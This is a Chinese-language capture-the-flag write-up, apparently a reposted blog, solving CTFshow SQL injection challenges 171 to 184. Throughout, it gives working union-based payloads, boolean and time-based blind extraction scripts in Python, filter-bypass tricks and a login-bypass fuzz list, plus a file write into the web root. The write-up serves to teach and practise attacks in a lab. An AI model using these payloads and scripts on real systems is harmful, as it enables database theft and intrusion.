CTFshow刷题日记-WEB-SQL注入part1(171-184)

Posted Ocean:)

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFshow刷题日记-WEB-SQL注入part1(171-184)相关的知识,希望对你有一定的参考价值。

SQL注入篇-共150道

mysql字符串函数

UPPER(s)将字符串转换为大写
UCASE(s)将字符串转换为大写
SUBSTRING(s, start, length)从字符串 s 的 start 位置截取长度为 length 的子字符串
SUBSTRING_INDEX(s, delimiter, number)返回从字符串 s 的第 number 个出现的分隔符 delimiter 之后的子串。 如果 number 是正数,返回第 number 个字符左边的字符串。 如果 number 是负数,返回第(number 的绝对值(从右边数))个字符右边的字符串
SUBSTR(s, start, length)从字符串 s 的 start 位置截取长度为 length 的子字符串
STRCMP(s1,s2)比较字符串 s1 和 s2,如果 s1 与 s2 相等返回 0 ,如果 s1>s2 返回 1,如果 s1<s2 返回 -1
SPACE(n)返回 n 个空格
REVERSE(s)将字符串s的顺序反过来
POSITION(s1 IN s)从字符串 s 中获取 s1 的开始位置
MID(s,n,len)从字符串 s 的 n 位置截取长度为 len 的子字符串,同 SUBSTRING(s,n,len)
LEFT(s,n)返回字符串 s 的前 n 个字符
CONCAT(s1,s2…sn)字符串 s1,s2 等多个字符串合并为一个字符串

无过滤注入

web171-单引号注入

熟悉一下前端

既然有查询语句还是比较简单的,没有过滤只用了单引号包裹

简单输出库名和版本

-2' union select 1,database(),version()--+
// -2是让多余的查询不在执行

知道了库名就去注表名

-1' union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+

表名:ctfshow_user

注列名

-1' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'--+

直接去查询

-1' union select id,username,password from ctfshow_user--+

找到flag

web172-编码绕过

一共有两个字段

查表

-1' union select database(),group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+

发现两个表ctfshow_user,ctfshow_user2

两个表都是三个字段id,username,password

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user2'--+

既然前端加了if判断,就要想办法绕过,直接把username字段用hex函数处理下,使用reverseto_base64等函数都可以

-1' union select hex(username),password from ctfshow_user2--+

web173-编码绕过

//检查结果是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }    

查表

-1' union select 1,database(),table_name from information_schema.tables where table_schema=database()--+

查字段

-1' union select database(),version(),column_name from information_schema.columns where table_name='ctfshow_user3'--+

查值,根据返回逻辑,返回的字符串中不能出现flag字符串,因为flag字符串格式是ctfshow{},而且在password字段中,'flag’是username字段中出现,不查username字段即可,或者编码

-1' union select id,password,id from ctfshow_user3--+
-1' union select hex(username),password,id from ctfshow_user3--+

web174-布尔盲注

返回逻辑

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

不能出现数字,使用bp抓包发现 api 接口

http://95b4aead-adca-4267-a9c2-8f2edbb29f51.challenge.ctf.show:8080/api/v4.php

典型bool盲注,可以使用bp去爆破,也可以参考y4的脚本,脚本采用了二分法提高了爆破效率

# @Author:Y4tacker
import requests

url = "http://95b4aead-adca-4267-a9c2-8f2edbb29f51.challenge.ctf.show:8080/api/v4.php?id=1' and "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'1=if(ascii(substr((select  password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -'
        r = requests.get(url + payload)
        if "admin" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

运行脚本得到flag

web175-时间盲注

//检查结果是否有flag
    if(!preg_match('/[\\x00-\\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

就是过滤了ASCII所有字符,就是说没有回显,但是可以执行sleep函数,进行时间盲注

这题同样是返回的 json 数据,也就是存在和前边的一样存在 api 接口

把上题的脚本改一下就行

import requests

url = "http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/api/v5.php?id=1' and "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'1=if(ascii(substr((select  password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -'
        try:
            r = requests.get(url + payload, timeout=0.5)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

既然没有过滤,那就可以用写入文件的方式拿到flag,即可以写shell,而可以直接将flag写入txt文件中

/api/v5.php?id=1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+&page=1&limit=10

然后访问文件

过滤注入

web176-大写绕过

如果没有过滤的字符会正常报错

如果过滤字符会显示无数据

使用union select语句发现错误,那就是这里边有被过滤的了,大写替换union select

-1' UNION SELECT id,username,password from ctfshow_user--+

用字典fuzz一下,发现万能密码直接就能把所有用户和密码输出

1'or'1'='1'%23
'or(1)%23
a'or'a'='a--+
a'or' 1=1--+
'or'a'='a
"or"="a'='a
"or"="a'='a
"or"='
a'or'a'='a
'or username like '%
'or"='
x' or 1=1 or 'x'='y
'or" like '

web177-绕过空格

空格被绕过了

1'/**/union/**/select/**/password,1,1/**/from/**/ctfshow_user/**/where/**/username='flag'%23

可以用万能密码绕过

1'or'1'='1'%23

web178-绕过空格

绕过空格和*号,可以使用%90绕过

1'union%09select%09password,1,1%09from%09ctfshow_user%09where%09username='flag'%23

可以用万能密码绕过

1'or'1'='1'%23

web179-绕过空格

%09被ban了,可以用%0c绕过

1'union%0cselect%0cpassword,1,1%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23

可以用万能密码绕过

1'or'1'='1'%23

总结绕过空格

可以使用以下字符绕过空格

空格:%20, %09, %0a, %0b, %0c, %0d, %a0, /**/

web180–绕过#

过滤了%23、–+,用 --%0c-- 代替

1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'--%0c-

web181-182-无空格一句话

以上过滤了空格字符

id=-1’or(id=26)and’1’='1

web183-from后拼接盲注

查询语句的位置发生了变化

//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";

先抓包看一下传参,tableName就用前几题一样的 ctfshow_user 发现有回显 在 user_count

既然查询语句可以执行,并且可以拼接,只要在后边拼接上 where 语句做 bool 盲注就行

用法:substr(string string,num start,num length);
select  substr(参数1,参数2,参数3)  from  表名

string为字符串;start为起始位置;length为长度
注意:mysql中的start是从1开始的
例子:(查出kename字段中第一次出现.之前的字符串)

正确的话 user_count 的值为 1 这样的话就可以写脚本了

import requests
import string

url = "http://c023d7c2-e074-4a9c-a6dd-a037ff8afcd9.challenge.ctf.show:8080/select-waf.php"
strings = string.digits+string.ascii_letters+"-{}"
res = ""
for i in range(1,46):
    for j in strings:
        data = {
            'tableName': f"(ctfshow_user)where(substr(pass,{i},1))regexp('{j}')"
        }
        r = requests.post(url, data=data)
        if r.text.find("$user_count = 1;") > 0:
            res += j
            print(res)
            break

发现一个问题就是很有可能查错字段,但是这个题不管前缀是什么,花括号里的内容都是正确的

like 也是可以的

        data = {
            "tableName": "(ctfshow_user)where(substr(pass,1,{0})like('{1}'))".format(str(i), flag+j)
        }

web184-right join连接查询

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\\*|\\x09|\\x0a|\\x0b|\\x0c|\\0x0d|\\xa0|\\x00|\\#|\\x23|file|\\=|or|\\x7c|select|and|flag|into|where|\\x26|\\'|\\"|union|\\`|sleep|benchmark/i', $str);
  }

其中 where 被过滤了,需要使用连接查询

连接查询是另一种类型的多表查询。连接查询对多个表进行JOIN运算,简单地说,就是先确定一个主表作为结果集,然后,把其他表的行有选择性地“连接”在主表结果集上

注意INNER JOIN查询的写法是:

  1. 先确定主表,仍然使用FROM <表1>的语法;
  2. 再确定需要连接的表,使用INNER JOIN <表2>的语法;
  3. 然后确定连接条件,使用ON <条件...>,这里的条件是s.class_id = c.id,表示students表的class_id列与classes表的id列相同的行需要连接;
  4. 可选:加上WHERE子句、ORDER BY等子句。

https://www.liaoxuefeng.com/wiki/1177760294764384/1179610888796448

ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,1,1)regexp(char(c)))
  • as 是别名关键字
  • SELECT column_name AS alias_name
import requests

url = "http://13715c23-8967-4d2d-8be7-9fa98d5ce39a.challenge.ctf.show:8080/select-waf.php"

flag = 'flag{'
for i in range(45):
    # flag 长度范围
    if i <= 5:
        continue
    for j in range(127):
        # flag 的ascii码范围
        data = {
            "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({j})))"
        }
        res = requests.post(url, data = data)
        if res.text.find("$user_count = 43;") > 0:
            if chr(j) != ".":
                flag += chr(j)
                print(flag.lower())
                if chr(j) == "}":
                    exit(0)
                break

参考:
y4tacker师傅的博客

以上是关于CTFshow刷题日记-WEB-SQL注入part1(171-184)的主要内容,如果未能解决你的问题,请参考以下文章

CTFshow刷题日记-WEB-黑盒测试(web380-395)文件包含日志包含getshellSQL注入

CTFshow刷题日记-WEB-PHP特性(上篇89-115)

CTFshow刷题日记-WEB-文件包含

CTFshow刷题日记-WEB-文件上传

CTFshow刷题日记-WEB-命令执行下55-77

CTFshow刷题日记-WEB-爆破